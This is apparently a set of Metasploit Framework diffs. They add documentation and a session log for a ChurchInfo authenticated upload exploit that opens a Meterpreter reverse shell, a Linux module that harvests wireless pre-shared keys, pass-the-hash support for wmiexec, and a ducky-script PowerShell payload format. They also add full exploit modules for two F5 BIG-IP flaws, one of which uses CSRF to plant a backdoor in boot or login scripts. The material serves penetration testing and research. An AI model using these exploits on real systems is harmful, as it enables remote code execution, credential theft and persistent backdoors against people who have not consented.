1. Log in at `http://127.0.0.1:9090/churchinfo/Default.php` with the username `Admin` and password `churchinfoadmin`.
|
||||
1. This should cause the app to redirect to a password change form.
|
||||
1. Specify the old password, aka `churchinfoadmin` and then specify the new password twice and submit the form.
|
||||
1. Go to `http://127.0.0.1:9090/churchinfo/PersonEditor.php` and fill out the form with as much detail as possible.
|
||||
1. Click "Save and Add".
|
||||
|
||||
## Verification Steps
|
||||
This module requires authenticated access to the application. After identifying a vulnerable
|
||||
ChurchInfo application, there MUST be a person entry available within the database. If there are no person
|
||||
entries within the database, it will not be possible to create a draft email. This draft email
|
||||
will be used to place the malicious attachment into the `/tmp_attach` directory for our exploit.
|
||||
|
||||
1. Start `msfconsole`
|
||||
1. `use exploit/multi/http/churchinfo_upload_exec`
|
||||
1. Set the target `RHOST`, `APPBASE`, `USERNAME`, and `PASSWORD` values.
|
||||
1. Optional: Set the target `RPORT` if the ChurchInfo server is running on a different port than port 80.
|
||||
1. Optional: `set SSL true` if the target is using SSL for ChurchInfo.
|
||||
1. Select the payload of choice or leave default.
|
||||
1. Set the `LHOST` to your system.
|
||||
1. Run the exploit with `run`, enjoy the shell!
|
||||
|
||||
## Options
|
||||
There are a handful of options which can be used to further configure the attack or other environmental uses.
|
||||
|
||||
### USERNAME
|
||||
The username of a valid user account for the ChurchInfo application. Default is `admin`.
|
||||
|
||||
### PASSWORD
|
||||
The password for a valid user account for the ChurchInfo application. Default is `churchinfoadmin` based on documentation.
|
||||
|
||||
### APPBASE
|
||||
The base directory path to the ChurchInfo application. This can and will likely
|
||||
vary depending on how the application was installed. Default value is `/churchinfo/`.
|
||||
|
||||
### EMAIL_SUBJ
|
||||
The subject of the draft email used for the exploit, the email is not sent. Default value is `Read this now!`.
|
||||
|
||||
### EMAIL_MESG
|
||||
The message on the draft email which is used for the exploit. The email is not sent. Default value is `Hello there!`.
|
||||
|
||||
## Scenarios
|
||||
If there are no person entries in the database, the exploit will fail. To help troubleshoot, enable verbose mode with the following:
|
||||
|
||||
```
|
||||
set verbose true
|
||||
```
|
||||
|
||||
This will enable additional information and details about the exploit as it is launched.
|
||||
|
||||
### ChurchInfo v1.3.0 with MySQL 5.7.35 on Ubuntu Linux 18.04.2 LTS (Docker Image)
|
||||
```
|
||||
msf6 > use exploit/multi/http/churchinfo_upload_exec
|
||||
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/churchinfo_upload_exec) > set RHOST 127.0.0.1
|
||||
RHOST => 127.0.0.1
|
||||
msf6 exploit(multi/http/churchinfo_upload_exec) > set RPORT 9090
|
||||
RPORT => 9090
|
||||
msf6 exploit(multi/http/churchinfo_upload_exec) > set PASSWORD testing123
|
||||
PASSWORD => testing123
|
||||
msf6 exploit(multi/http/churchinfo_upload_exec) > show options
|
||||
|
||||
Module options (exploit/multi/http/churchinfo_upload_exec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EMAIL_MESG Hello there! yes Email message in webapp
|
||||
EMAIL_SUBJ Read this now! yes Email subject in webapp
|
||||
PASSWORD testing123 yes Password to login with
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 127.0.0.1 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 9090 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI /churchinfo/ yes The location of the ChurchInfo app
|
||||
USERNAME admin yes Username for ChurchInfo application
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (php/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 172.30.182.196 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic Targeting
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/churchinfo_upload_exec) > set LHOST docker0
|
||||
LHOST => docker0
|
||||
msf6 exploit(multi/http/churchinfo_upload_exec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.18.0.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] Target is ChurchInfo!
|
||||
[+] The target is vulnerable. Target is running ChurchInfo 1.3.0!
|
||||
[+] Logged into application as admin
|
||||
[*] Navigating to add items to cart
|
||||
[+] Items in Cart: Items in Cart: 2
|
||||
[+] Uploading exploit via temp email attachment
|
||||
[+] Exploit uploaded to /churchinfo/tmp_attach/ueNYs9.php
|
||||
[+] Executing payload with GET request
|
||||
[*] Sending stage (39927 bytes) to 172.18.0.2
|
||||
[+] Deleted ueNYs9.php
|
||||
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:37790) at 2022-11-18 17:44:31 -0600
|
||||
|
||||
|
||||
meterpreter > getpid
|
||||
Current pid: 452
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : 8eeaa82293b4
|
||||
OS : Linux 8eeaa82293b4 5.15.0-53-generic #59-Ubuntu SMP Mon Oct 17 18:53:30 UTC 2022 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,48 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module collects 802-11-Wireless-Security credentials such as
|
||||
Access-Point name and Pre-Shared-Key from Linux NetworkManager
|
||||
connection configuration files.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Get a `root` session
|
||||
1. Do: `use post/linux/gather/enum_psk`
|
||||
1. Do: `set session <session ID>`
|
||||
1. Do: `run`
|
||||
1. You should receive credentails for wireless connections
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
### DIR
|
||||
|
||||
The path for NetworkManager configuration files (default: `/etc/NetworkManager/system-connections/`)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 22.04.1 (x86_64)
|
||||
|
||||
```
|
||||
msf6 > use post/linux/gather/enum_psk
|
||||
msf6 post(linux/gather/enum_psk) > set session 1
|
||||
session => 1
|
||||
msf6 post(linux/gather/enum_psk) > run
|
||||
|
||||
[*] Reading file /etc/NetworkManager/system-connections//Profile 1.nmconnection
|
||||
[*] Reading file /etc/NetworkManager/system-connections//test
|
||||
|
||||
802-11-wireless-security
|
||||
========================
|
||||
|
||||
AccessPoint-Name PSK
|
||||
---------------- ---
|
||||
test 1234567890
|
||||
|
||||
[+] Credentials stored in: /root/.msf4/loot/20221120081233_default_192.168.200.204_linux.psk.creds_045512.txt
|
||||
[*] Post module execution completed
|
||||
msf6 post(linux/gather/enum_psk) >
|
||||
```
|
||||
@@ -6,6 +6,7 @@ This module allows you to collect login information for PureVPN client, specific
|
||||
|
||||
Versions before 6.0 should be vulnerable. For testing purposes, you may find the vulnerable version here:
|
||||
|
||||
Download links are provided for reference only and are not maintained by the project. Utilize at your own risk!
|
||||
* [https://jumpshare.com/v/LZcpUqJcThY1v7WlH95m](https://jumpshare.com/v/LZcpUqJcThY1v7WlH95m)
|
||||
* [https://s3.amazonaws.com/purevpn-dialer-assets/windows/app/purevpn_setup.exe](https://s3.amazonaws.com/purevpn-dialer-assets/windows/app/purevpn_setup.exe)
|
||||
|
||||
|
||||
Vendored
+1
@@ -116,6 +116,7 @@ _msfvenom_formats_list=(
|
||||
'aspx-exe'
|
||||
'axis2'
|
||||
'dll'
|
||||
'ducky-script-psh'
|
||||
'elf'
|
||||
'elf-so'
|
||||
'exe'
|
||||
|
||||
@@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.2.27"
|
||||
VERSION = "6.2.28"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -63,7 +63,7 @@ module Payload::Python::ReverseHttp
|
||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||
|
||||
# Generate the short default URL if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
if self.available_space.nil? || dynamic_size? || required_space > self.available_space
|
||||
uri_req_len = 30
|
||||
end
|
||||
|
||||
|
||||
@@ -1437,6 +1437,18 @@ require 'digest/sha1'
|
||||
method: 'reflection')
|
||||
end
|
||||
|
||||
def self.to_powershell_ducky_script(framework, arch, code)
|
||||
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
|
||||
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
|
||||
arch,
|
||||
template_path,
|
||||
encode_final_payload: true,
|
||||
method: 'reflection')
|
||||
replacers = {}
|
||||
replacers[:var_payload] = powershell
|
||||
read_replace_script_template("to_powershell.ducky_script.template", replacers)
|
||||
end
|
||||
|
||||
def self.to_powershell_hta(framework, arch, code)
|
||||
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
|
||||
|
||||
@@ -2155,6 +2167,8 @@ require 'digest/sha1'
|
||||
Msf::Util::EXE.to_powershell_hta(framework, arch, code)
|
||||
when 'python-reflection'
|
||||
Msf::Util::EXE.to_python_reflection(framework, arch, code, exeopts)
|
||||
when 'ducky-script-psh'
|
||||
Msf::Util::EXE.to_powershell_ducky_script(framework, arch, code)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -2168,6 +2182,7 @@ require 'digest/sha1'
|
||||
"aspx-exe",
|
||||
"axis2",
|
||||
"dll",
|
||||
"ducky-script-psh",
|
||||
"elf",
|
||||
"elf-so",
|
||||
"exe",
|
||||
|
||||
@@ -23,6 +23,21 @@ module Rex::Proto::MsDtyp
|
||||
bit2 :reserved1
|
||||
bit1 :ma
|
||||
bit1 :as
|
||||
def bit_names
|
||||
names = []
|
||||
names << :GENERIC_READ if self.gr != 0
|
||||
names << :GENERIC_WRITE if self.gw != 0
|
||||
names << :GENERIC_EXECUTE if self.gx != 0
|
||||
names << :GENERIC_ALL if self.ga != 0
|
||||
names << :MAXIMUM_ALLOWED if self.ma != 0
|
||||
names << :ACCESS_SYSTEM_SECURITY if self.as != 0
|
||||
names << :SYNCHRONIZE if self.sy != 0
|
||||
names << :WRITE_OWNER if self.wo != 0
|
||||
names << :WRITE_DACL if self.wd != 0
|
||||
names << :READ_CONTROL if self.rc != 0
|
||||
names << :DELETE if self.de != 0
|
||||
names
|
||||
end
|
||||
|
||||
ALL = MsDtypAccessMask.new({ gr: 1, gw: 1, gx: 1, ga: 1, ma: 1, as: 1, sy: 1, wo: 1, wd: 1, rc: 1, de: 1, protocol: 0xffff })
|
||||
NONE = MsDtypAccessMask.new({ gr: 0, gw: 0, gx: 0, ga: 0, ma: 0, as: 0, sy: 0, wo: 0, wd: 0, rc: 0, de: 0, protocol: 0 })
|
||||
|
||||
@@ -12,9 +12,9 @@ import string
|
||||
import sys
|
||||
|
||||
try:
|
||||
from impacket.smbconnection import SMBConnection, SMB_DIALECT, \
|
||||
SMB2_DIALECT_002, SMB2_DIALECT_21
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.smbconnection import SessionError, SMBConnection, \
|
||||
SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection, DCERPCSessionError
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
except ImportError:
|
||||
@@ -41,8 +41,9 @@ metadata = {
|
||||
'COMMAND': {'type': 'string', 'description': 'The command to execute', 'required': True},
|
||||
'OUTPUT': {'type': 'bool', 'description': 'Get the output of the executed command', 'required': True, 'default': True},
|
||||
'SMBDomain': {'type': 'string', 'description': 'The Windows domain to use for authentication', 'required': False, 'default': '.'},
|
||||
'SMBPass': {'type': 'string', 'description': 'The password for the specified username', 'required': True, 'default': None},
|
||||
'SMBPass': {'type': 'string', 'description': 'The password for the specified username', 'required': False, 'default': None},
|
||||
'SMBUser': {'type': 'string', 'description': 'The username to authenticate as', 'required': True, 'default': None},
|
||||
'HASHES': {'type': 'string', 'description': 'The NTLM hash to use for authentication, format: LMHASH:NTHASH', 'required': False, 'default': None}
|
||||
},
|
||||
'notes': {
|
||||
'AKA': ['wmiexec.py']
|
||||
@@ -51,7 +52,7 @@ metadata = {
|
||||
|
||||
|
||||
class WMIEXEC:
|
||||
def __init__(self, command='', username='', password='', domain='', hashes=None, share=None,
|
||||
def __init__(self, command='', username='', password=None, domain='', hashes=None, share=None,
|
||||
noOutput=False):
|
||||
self.__command = command
|
||||
self.__username = username
|
||||
@@ -65,25 +66,34 @@ class WMIEXEC:
|
||||
self.__doKerberos = False
|
||||
self.__kdcHost = None
|
||||
self.shell = None
|
||||
if hashes is not None:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
|
||||
def run(self, addr):
|
||||
if self.__noOutput is False:
|
||||
smbConnection = SMBConnection(addr, addr)
|
||||
if self.__doKerberos is False:
|
||||
smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
else:
|
||||
smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
|
||||
self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
|
||||
if not self.__password and not (self.__lmhash or self.__nthash):
|
||||
logging.error("Either SMBPass or HASHES must be set, aborting...")
|
||||
return
|
||||
|
||||
dialect = smbConnection.getDialect()
|
||||
if dialect == SMB_DIALECT:
|
||||
logging.info("SMBv1 dialect used")
|
||||
elif dialect == SMB2_DIALECT_002:
|
||||
logging.info("SMBv2.0 dialect used")
|
||||
elif dialect == SMB2_DIALECT_21:
|
||||
logging.info("SMBv2.1 dialect used")
|
||||
else:
|
||||
logging.info("SMBv3.0 dialect used")
|
||||
if self.__noOutput is False:
|
||||
try:
|
||||
smbConnection = SMBConnection(addr, addr)
|
||||
if self.__doKerberos is False:
|
||||
smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
else:
|
||||
smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
|
||||
self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
|
||||
|
||||
dialect = smbConnection.getDialect()
|
||||
if dialect == SMB_DIALECT:
|
||||
logging.info("SMBv1 dialect used")
|
||||
elif dialect == SMB2_DIALECT_002:
|
||||
logging.info("SMBv2.0 dialect used")
|
||||
elif dialect == SMB2_DIALECT_21:
|
||||
logging.info("SMBv2.1 dialect used")
|
||||
else:
|
||||
logging.info("SMBv3.0 dialect used")
|
||||
except SessionError as exc:
|
||||
logging.error(str(exc))
|
||||
else:
|
||||
smbConnection = None
|
||||
|
||||
@@ -102,8 +112,8 @@ class WMIEXEC:
|
||||
self.shell.onecmd(self.__command)
|
||||
else:
|
||||
self.shell.cmdloop()
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
logging.error(str(e))
|
||||
except (DCERPCSessionError, Exception, KeyboardInterrupt) as exc:
|
||||
logging.error(str(exc))
|
||||
|
||||
if smbConnection is not None:
|
||||
smbConnection.logoff()
|
||||
@@ -131,8 +141,8 @@ def run(args):
|
||||
return
|
||||
|
||||
_msf_impacket.pre_run_hook(args)
|
||||
executer = WMIEXEC(args['COMMAND'], args['SMBUser'], args['SMBPass'], args['SMBDomain'],
|
||||
share='ADMIN$', noOutput=args['OUTPUT'] != 'true')
|
||||
executer = WMIEXEC(args['COMMAND'], args['SMBUser'], args['SMBPass'], args['SMBDomain'],
|
||||
hashes=args['HASHES'], share='ADMIN$', noOutput=args['OUTPUT'] != 'true')
|
||||
executer.run(args['rhost'])
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
@@ -0,0 +1,126 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'F5 BIG-IP iControl Authenticated RCE via RPM Creator',
|
||||
'Description' => %q{
|
||||
This module exploits a newline injection into an RPM .rpmspec file
|
||||
that permits authenticated users to remotely execute commands.
|
||||
|
||||
Successful exploitation results in remote code execution
|
||||
as the root user.
|
||||
},
|
||||
'Author' => [
|
||||
'Ron Bowes' # Discovery, PoC, and module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2022-41800'],
|
||||
['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],
|
||||
['URL', 'https://support.f5.com/csp/article/K97843387'],
|
||||
['URL', 'https://support.f5.com/csp/article/K13325942'],
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => '2022-11-16', # Vendor advisory
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => [ARCH_CMD],
|
||||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
[ 'Default', {} ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 443,
|
||||
'SSL' => true,
|
||||
'PrependFork' => true, # Needed to avoid warnings about timeouts and potential failures across attempts.
|
||||
'MeterpreterTryToFork' => true # Needed to avoid warnings about timeouts and potential failures across attempts.
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION], # One at a time
|
||||
'SideEffects' => [
|
||||
IOC_IN_LOGS,
|
||||
ARTIFACTS_ON_DISK
|
||||
]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('HttpUsername', [true, 'iControl username', 'admin']),
|
||||
OptString.new('HttpPassword', [true, 'iControl password', ''])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def exploit
|
||||
# The RPM name is based on these, so we need these to delete the RPM file after
|
||||
name = rand_text_alphanumeric(5..10)
|
||||
version = "#{rand_text_numeric(1)}.#{rand_text_numeric(1)}.#{rand_text_numeric(1)}"
|
||||
release = "#{rand_text_numeric(1)}.#{rand_text_numeric(1)}.#{rand_text_numeric(1)}"
|
||||
|
||||
vprint_status('Creating an .rpmspec file on the target...')
|
||||
result = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/mgmt/shared/iapp/rpm-spec-creator'),
|
||||
'ctype' => 'application/json',
|
||||
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
|
||||
'data' => {
|
||||
'specFileData' => {
|
||||
'name' => name,
|
||||
'srcBasePath' => '/tmp',
|
||||
'version' => version,
|
||||
'release' => release,
|
||||
# This is the injection - add newlines then a '%check' section
|
||||
'description' => "\n\n%check\n#{payload.encoded}\n",
|
||||
'summary' => rand_text_alphanumeric(5..10)
|
||||
}
|
||||
}.to_json
|
||||
})
|
||||
|
||||
fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result
|
||||
fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401
|
||||
fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code != 200
|
||||
|
||||
json = result&.get_json_document
|
||||
fail_with(Failure::UnexpectedReply, "Server didn't return valid JSON") unless json
|
||||
|
||||
file_path = json['specFilePath']
|
||||
fail_with(Failure::UnexpectedReply, "Server didn't return a specFilePath") unless file_path
|
||||
vprint_status("Created spec file: #{file_path}")
|
||||
register_file_for_cleanup(file_path)
|
||||
|
||||
# We can also use `exit 1` in the %check function to prevent this file
|
||||
# from being created, rather than cleaning it up.. but that seems noisier?
|
||||
# Neither option gets logged so /shrug
|
||||
register_file_for_cleanup("/var/config/rest/node/tmp/RPMS/noarch/#{name}-#{version}-#{release}.noarch.rpm")
|
||||
|
||||
vprint_status('Building the RPM to trigger the payload...')
|
||||
result = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/mgmt/shared/iapp/build-package'),
|
||||
'ctype' => 'application/json',
|
||||
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
|
||||
'data' => {
|
||||
'state' => {},
|
||||
'appName' => rand_text_alphanumeric(5..10),
|
||||
'packageDirectory' => '/tmp',
|
||||
'specFilePath' => file_path
|
||||
}.to_json
|
||||
})
|
||||
fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result
|
||||
fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401
|
||||
fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code < 200 || result.code > 299
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,166 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'F5 BIG-IP iControl CSRF File Write SOAP API',
|
||||
'Description' => %q{
|
||||
This module exploits a cross-site request forgery (CSRF) vulnerability
|
||||
in F5 Big-IP's iControl interface to write an arbitrary file to the
|
||||
filesystem.
|
||||
|
||||
While any file can be written to any location as root, the
|
||||
exploitability is limited by SELinux; the vast majority of writable
|
||||
locations are unavailable. By default, we write to a script that
|
||||
executes at reboot, which means the payload will execute the next time
|
||||
the server boots.
|
||||
|
||||
An alternate target - Login - will add a backdoor that executes next
|
||||
time a user logs in interactively. This overwrites a file,
|
||||
but we restore it when we get a session
|
||||
|
||||
Note that because this is a CSRF vulnerability, it starts a web
|
||||
server, but an authenticated administrator must visit the site, which
|
||||
redirects them to the target.
|
||||
},
|
||||
'Author' => [
|
||||
'Ron Bowes' # Discovery, PoC, and module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2022-41622'],
|
||||
['URL', 'https://github.com/rbowes-r7/refreshing-soap-exploit'],
|
||||
['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],
|
||||
['URL', 'https://support.f5.com/csp/article/K97843387'],
|
||||
['URL', 'https://support.f5.com/csp/article/K94221585'],
|
||||
['URL', 'https://support.f5.com/csp/article/K05403841'],
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => '2022-11-16', # Vendor advisory
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => [ARCH_CMD],
|
||||
'Type' => :unix_cmd,
|
||||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
[ 'Restart', {}, ],
|
||||
[ 'Login', {}, ],
|
||||
[ 'Custom', {}, ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 443,
|
||||
'SSL' => true,
|
||||
'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp'
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [
|
||||
IOC_IN_LOGS,
|
||||
ARTIFACTS_ON_DISK
|
||||
]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGET_HOST', [true, 'The IP or domain name of the target F5 device']),
|
||||
OptString.new('TARGET_URI', [true, 'The URI of the SOAP API', '/iControl/iControlPortal.cgi']),
|
||||
OptBool.new('TARGET_SSL', [true, 'Use SSL for the upstream connection?', true]),
|
||||
OptString.new('FILENAME', [false, 'The file on the target to overwrite (for "custom" target) - note that SELinux prevents overwriting a great deal of useful files']),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def on_request_uri(socket, _request)
|
||||
if datastore['TARGET'] == 0 # restart
|
||||
filename = '/shared/f5_update_action'
|
||||
file_payload = <<~EOT
|
||||
UpdateAction
|
||||
https://localhost/success`#{payload.encoded}`
|
||||
https://localhost/error
|
||||
0
|
||||
0
|
||||
0
|
||||
0
|
||||
EOT
|
||||
|
||||
# Delete the logfile if we get a session
|
||||
register_file_for_cleanup('/var/log/f5_update_checker.out')
|
||||
|
||||
print_status("Redirecting the admin to overwrite #{filename}; if successful, your session will come approximately 2 minutes after the target is rebooted")
|
||||
elsif datastore['TARGET'] == 1 # login
|
||||
filename = '/var/run/config/timeout.sh'
|
||||
file_payload = "#{payload.encoded} & disown;"
|
||||
|
||||
# Delete the backdoored file if we get a session.. this will be fixed at
|
||||
# next reboot
|
||||
register_file_for_cleanup('/var/run/config/timeout.sh')
|
||||
|
||||
print_status("Redirecting the admin to overwrite #{filename}; if successful, your session will come the next time a user logs in interactively")
|
||||
else # Custom
|
||||
|
||||
filename = datastore['FILENAME']
|
||||
file_payload = payload.encoded
|
||||
|
||||
print_status("Redirecting the admin to overwrite #{filename} with the payload")
|
||||
end
|
||||
|
||||
# Build the SOAP request that'll be sent to the target server
|
||||
csrf_payload = %(
|
||||
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:con="urn:iControl:System/ConfigSync">
|
||||
<soapenv:Header/>
|
||||
<soapenv:Body>
|
||||
<con:upload_file soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
<file_name xsi:type="xsd:string">#{filename}</file_name>
|
||||
<file_context xsi:type="urn:System.ConfigSync.FileTransferContext" xmlns:urn="urn:iControl">
|
||||
<!--type: Common.OctetSequence-->
|
||||
<file_data xsi:type="urn:Common.OctetSequence">#{Rex::Text.encode_base64(file_payload)}</file_data>
|
||||
<chain_type xsi:type="urn:Common.FileChainType">FILE_FIRST_AND_LAST</chain_type>
|
||||
</file_context>
|
||||
</con:upload_file>
|
||||
</soapenv:Body>
|
||||
</soapenv:Envelope>
|
||||
)
|
||||
|
||||
# Build the target URL
|
||||
target_url = "#{datastore['TARGET_SSL'] ? 'https' : 'http'}://#{datastore['TARGET_HOST']}#{datastore['TARGET_URI']}"
|
||||
|
||||
# Build the HTML payload that'll send the SOAP request via the user's browser
|
||||
html_payload = %(
|
||||
<html>
|
||||
<body>
|
||||
<form action="#{target_url}" method="POST" enctype="text/plain">
|
||||
<textarea id="payload" name="<!--">-->#{Rex::Text.html_encode(csrf_payload)}</textarea>
|
||||
</form>
|
||||
<script>
|
||||
document.forms[0].submit();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
)
|
||||
|
||||
# Send the HTML to the browser
|
||||
send_response(socket, html_payload, { 'Content-Type' => 'text/html' })
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Sanity check
|
||||
if datastore['TARGET'] == 2 && (!datastore['FILENAME'] || datastore['FILENAME'].empty?)
|
||||
fail_with(Failure::BadConfig, 'For custom targets, please provide the FILENAME')
|
||||
end
|
||||
|
||||
print_good('Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below')
|
||||
super
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,242 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'ChurchInfo 1.2.13-1.3.0 Authenticated RCE',
|
||||
'Description' => %q{
|
||||
This module exploits the logic in the CartView.php page when crafting a draft email with an attachment.
|
||||
By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the
|
||||
ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and
|
||||
then browsing to the location of the uploaded PHP file on the web server, arbitrary code
|
||||
execution as the web daemon user (e.g. www-data) can be achieved.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'm4lwhere <m4lwhere@protonmail.com>' ],
|
||||
'References' => [
|
||||
['URL', 'http://www.churchdb.org/'],
|
||||
['URL', 'http://sourceforge.net/projects/churchinfo/'],
|
||||
['CVE', '2021-43258']
|
||||
],
|
||||
'Platform' => 'php',
|
||||
'Privileged' => false,
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [['Automatic Targeting', { 'auto' => true }]],
|
||||
'DisclosureDate' => '2021-10-30', # Reported to ChurchInfo developers on this date
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => ['CRASH_SAFE'],
|
||||
'Reliability' => ['REPEATABLE_SESSION'],
|
||||
'SideEffects' => ['ARTIFACTS_ON_DISK', 'IOC_IN_LOGS']
|
||||
}
|
||||
)
|
||||
)
|
||||
# Set the email subject and message if interested
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('USERNAME', [true, 'Username for ChurchInfo application', 'admin']),
|
||||
